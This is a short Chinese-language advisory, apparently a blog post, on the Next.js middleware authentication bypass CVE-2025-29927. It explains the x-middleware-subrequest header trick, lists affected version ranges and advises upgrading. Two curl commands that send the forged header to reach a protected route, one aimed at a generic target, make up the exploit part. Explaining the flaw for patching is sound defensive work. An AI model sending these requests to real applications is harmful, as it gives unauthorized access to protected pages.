想象一下,夜店门口站着个保安,如果你告诉他“我已经进来了”,他就不检查直接放你进去。这正是 CVE-2025-29927 所描述的情况。
Next.js 中的中间件在处理请求之前运行,因此是处理身份验证的理想位置。Next.js 使用一个内部的 x-middleware-subrequest 头部来防止递归请求并避免无限循环。此漏洞表明,可以完全绕过或跳过中间件的执行——包括在到达受保护路由之前关键的如身份验证等安全检查。
| 分支 | 修复版本 |
|---|---|
| 15.x | < 15.2.3 |
| 14.x | < 14.2.25 |
| 13.x | < 13.5.9 |
成千上万甚至数百万的应用运行在未打补丁的 Next.js 版本上。如果没有缓解措施,此漏洞允许任何人在无需凭证的情况下未授权访问受保护的路由。
curl -H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware" \
http://localhost:3000/private-area
响应会返回受保护的页面,而不需要任何身份验证。
curl -s "http://<target>/<private-area>" \
-H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware"
将 Next.js 升级到已打补丁的版本:
15.x → 15.2.3 或更高14.x → 14.2.25 或更高13.x → 13.5.9 或更高